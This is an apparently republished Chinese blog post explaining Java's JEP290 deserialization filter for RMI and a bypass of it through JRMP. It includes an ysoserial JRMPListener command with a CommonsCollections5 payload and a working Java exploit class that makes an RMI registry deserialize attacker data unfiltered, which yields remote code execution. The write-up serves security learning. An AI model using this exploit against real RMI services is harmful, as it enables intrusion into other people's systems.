主頁 >  其他 > 淺談 JEP290

淺談 JEP290

2023-07-07 07:48:36 其他

0x01 前言

屬于是拖了很久的文章了,4.18 籌劃著開始寫,6.22 左右才真正開始提筆,

一開始提到這個概念可能會比較懵逼,其實這就是為什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 關于 JEP290

JEP290 是 Java 底層為了緩解反序列化攻擊提出的一種解決方案,主要做了以下幾件事

1、提供一個限制反序列化類的機制,白名單或者黑名單,2、限制反序列化的深度和復雜度,3、為 RMI 遠程呼叫物件提供了一個驗證類的機制,4、定義一個可配置的過濾機制,比如可以通過配置 properties 檔案的形式來定義過濾器,

官方從 8u121,7u13,6u141 分別支持了這個 JEP

0x03 JEP290 防御手段分析

先起一個 RMI 的服務,代碼詳見 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

嘗試去攻擊,這里會報錯,報錯部分資訊為

java.io.ObjectInputStream filterCheck
資訊: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方檔案對于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • 我們很容易通過描述來看對應增加的 Filter 點是什么,如圖找到了 ObjectInputFilter 相關的類

我這里去看了看 ObjectInputFilter 相關的類,斷點是下不去的,所以去到控制臺去看,發現在 RegistryImpl_Skel 類中也存在報錯現象,而這個類在 RMI 中是用來做反序列化的方法的,

跟進,ObjectInputStream 類呼叫了 readObject0() 方法,繼續跟進

先獲取輸入當中 blkmode,如果資料為 true,則繼續進行后續判斷,后續做了一部分的資料處理作業,我們直接來看最重要的地方 1573 行,呼叫了 checkResolve() 方法,跟進

跟進 readClassDesc() 方法,這個方法主要是讀取并回傳類描述符,并判斷這一類描述符是否可以決議為本地 VM 中的類,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

在 readClassDesc() 方法中,判斷 tc 所對應的型別,這里跟進 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基礎判斷之后呼叫了 filterCheck() 方法,跟進

而 filterCheck() 方法又呼叫了 checkInput() 方法,這里應該是最終來判斷輸入是否合法的地方,

這里的判斷會進行兩次,一個是開啟 JVM 的 java.rmi.Remote 類,另一個是我們放入的惡意利用類 sun.reflect.annotation.AnnotationInvocationHandler,第一次會先判斷 java.rmi.Remote 類是否合法

對應的判斷代碼,其實也就是白名單了,代碼會首先判斷 var2 是否等于 String 型別,如果不是,則繼續判斷它是否滿足下列幾個條件中的任意一個:

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而這里,我們的 sun.reflect.annotation.AnnotationInvocationHandler 類并不在這些白名單中,所以會被過濾

0x04 JEP290 繞過

這里我們可以先看一下白名單里面都能過什么,白名單如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

這里我覺得還是得從它在 JDK8u221 的具體環境下的流程分析入手,看一下在攻擊流程之后哪里可以能夠被利用,哪里可以 bypass

繞過利用

思考了在 RMI 的流程當中,哪一步能夠繞過 JEP290 的檢測,最終是 JRMP 的這一步,能夠繞過,從原理圖來說的話應該是這樣

先用 ysoserial 開啟 JRMP 3333 埠的監聽

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后撰寫 RMI 的 EXP

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
?
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
?
public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

這個 payload 的原理就是偽造了一個 UnicastRef 用于跟注冊中心通信,我們從 bind() 方法開始分析一下這一整個流程,

繞過分析

我們通過 getRegistry 時獲得的注冊中心,其實就是一個封裝了 UnicastServerRef 物件的物件

當我們呼叫 bind 方法后,會通過 UnicastRef 物件中存盤的資訊與注冊中心進行通信

這里會通過 ref 與注冊中心通信,并將系結的物件名稱以及要系結的遠程物件發過去,注冊中心在后續會對應進行反序列化

接著來看看 yso 中的 JRMPClient 是做了什么操作

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);
return proxy;

這里回傳了一個代理物件,上面用的這些類都在白名單里,當注冊中心反序列化時,會呼叫到RemoteObjectInvacationHandler父類RemoteObjectreadObject方法(因為RemoteObjectInvacationHandler沒有readObject方法),在readObject里的最后一行會呼叫ref.readExternal方法,并將ObjectInputStream傳進去:

這里的呼叫堆疊非常長,總體上來說就是在做我上面所說的作業,呼叫堆疊如下

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)     // 從此處開始,會遇到很多位元組碼不匹配的問題
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟進到 sun.rmi.transport.LiveRef#read

可以看到這里把 payload 里所傳入的 LiveRef 決議到 var5 變數處,里面包含了 ip 與  資訊(JRMPListener 的埠),這些資訊將用于后面注冊中心與 JRMP 端建立通信,

跟進 saveRef() 方法,里面做了一個映射,其建立了一個 TCPEndpoint 到 ArrayList<LiveRef> 的映射關系,

到這里 JRMP 的通信流程基本結束了,接著再回到 dispatch() 方法,在呼叫了 readObject 方法之后呼叫了 var2.releaseInputStream();,跟進

releaseInputStream() 方法呼叫了 this.in.registerRefs() 方法,跟進,其中先判斷了當前保存的 Ref 是否為空,再獲取當前 Ref,這個 Ref 實際上就是創建的 JRMP 連接,再跟進 registerRefs() 方法

var2這里回傳的是 DGCClient 物件,里邊同樣封裝了我們的埠資訊

接著看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟進一下

里面主要是做了資料處理,將原本保存了 EndPoint 的 var1 —— HashSet 陣列轉換為 ObjID,同時,呼叫了 this.dgc.dirty() 方法,跟進,

在 dirty() 方法中呼叫 wirteObject() 方法后,會用 invoke() 將資料發出去,

invoke() 方法實作的程序就是從 socket 連接中先讀取了輸入,然后直接反序列化,此時的反序列化并沒有設定 filter(白名單),所以這里可以直接導致注冊中心 rce,所以我們可以偽造一個 socket 連接并把我們惡意序列化的物件發過去,這也就是當時用 ysoserial 開啟的 JRMP

至此繞過分析結束

0x05 小結

本身 JEP290 的繞過分析的思路是非常清晰的,但是整個流程還是比較復雜的,總結一下是從 RMI 通信的流程當中找到了可乘之機,

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/556694.html

標籤:其他

上一篇:rke2安裝單節點k8s

下一篇:返回列表

標籤雲
其他(162137) Python(38266) JavaScript(25524) Java(18291) C(15238) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7288) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4613) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) HtmlCss(1989) .NET技术(1985) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1882) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 淺談 JEP290

    JEP290 是 Java 底層為了緩解反序列化攻擊提出的一種解決方案,主要做了以下幾件事:1、提供一個限制反序列化類的機制,白名單或者黑名單。2、限制反序列化的深度和復雜度。3、為 RMI 遠程呼叫物件提供了一個驗證類的機制。4、定義一個可配置的過濾機制,比如可以通過配置 properties 文... ......

    uj5u.com 2023-07-07 07:48:36 more
  • rke2安裝單節點k8s

    ## 環境 ```shell cat /proc/version ``` Linux version 3.10.0-957.21.3.el7.x86_64 ([email protected]) (gcc version 4.8.5 20150623 (Red Ha ......

    uj5u.com 2023-07-06 09:41:50 more
  • 【后端面經-計算機基礎】HTTP和TCP的區別

    本文主要介紹了計算機網路中的兩個經典協議:http和tcp,簡單介紹兩者的報文結構,并結合面試題對兩者進行詳細說明。 ......

    uj5u.com 2023-07-06 08:45:32 more
  • nginx訪問日志過濾(多條件)

    nginx的access_log的過濾網上有很多文章。是通過map定義一個變數,然后把那個變數配置到access_log的if即可。 比如: map $status $loggable { ~^[23] 0; default 1; } access_log /path/to/access.log c ......

    uj5u.com 2023-07-06 08:45:26 more
  • 瞬間摳圖!揭秘 ZEGO 綠幕摳圖演算法背后的技術

    摳圖是影像處理中最常見的操作之一,指的是將影像中需要的部分從畫面中精確的提取出來。 摳圖的主要功能是為了后期的合成做準備。在 Photoshop 中,摳圖的方法有很多種,最常見的有通道摳圖、蒙版摳圖、鋼筆工具摳圖和快速選擇工具等。針對視頻的摳圖方法主要是基于keylight 插件對純色背景進行摳圖( ......

    uj5u.com 2023-07-06 08:44:39 more
  • 【筆試實戰】LeetCode題單刷題-編程基礎 0 到 1【三】

    博客推行版本更新,成果積累制度,已經寫過的博客還會再次更新,不斷地琢磨,高質量高數量都是要追求的,工匠精神是學習必不可少的精神。因此,大家有何建議歡迎在評論區踴躍發言,你們的支持是我最大的動力,你們敢投,我就敢肝 ......

    uj5u.com 2023-07-06 08:44:02 more
  • [llama懶人包]ChatGPT本地下位替代llama-7b,支持全平臺顯卡/CPU運

    LLAMA的懶人包: 鏈接: https://pan.baidu.com/s/1xOw8-eP8QB--u6y644_UPg?pwd=0l08 提取碼:0l08 模型來源:elinas/llama-7b-hf-transformers-4.29 模型來源(LoRA):ymcui/Chinese-LL ......

    uj5u.com 2023-07-06 08:43:56 more
  • 技術選型|K歌App中的實時合唱如何進行選型

    在線K歌軟體的開發有許多技術難點,需考慮到音頻錄制和處理、實時音頻傳輸和同步、音頻壓縮和解壓縮、設備兼容性問題等技術難點外,此外,開發者還應關注音樂著作權問題,確保開發的應用合規合法。 ......

    uj5u.com 2023-07-06 08:38:11 more
  • 華為云GaussDB圈層活動走進香港,以技術創新構筑金融政企數智發展

    摘要:近日,華為云GaussDB圈層活動在中國·香港如期舉辦,活動聚集了22家香港金融政企客戶和合作伙伴。 本文分享自華為云社區《華為云GaussDB圈層活動走進香港,賦能金融政企數字化轉型》,作者:GaussDB 資料庫。 近日,華為云GaussDB圈層活動在中國·香港如期舉辦,活動聚集了22家香 ......

    uj5u.com 2023-07-06 08:32:15 more
  • [llama懶人包]ChatGPT本地下位替代llama-7b,支持全平臺顯卡/CPU運

    LLAMA的懶人包: 鏈接: https://pan.baidu.com/s/1xOw8-eP8QB--u6y644_UPg?pwd=0l08 提取碼:0l08 模型來源:elinas/llama-7b-hf-transformers-4.29 模型來源(LoRA):ymcui/Chinese-LL ......

    uj5u.com 2023-07-06 08:31:46 more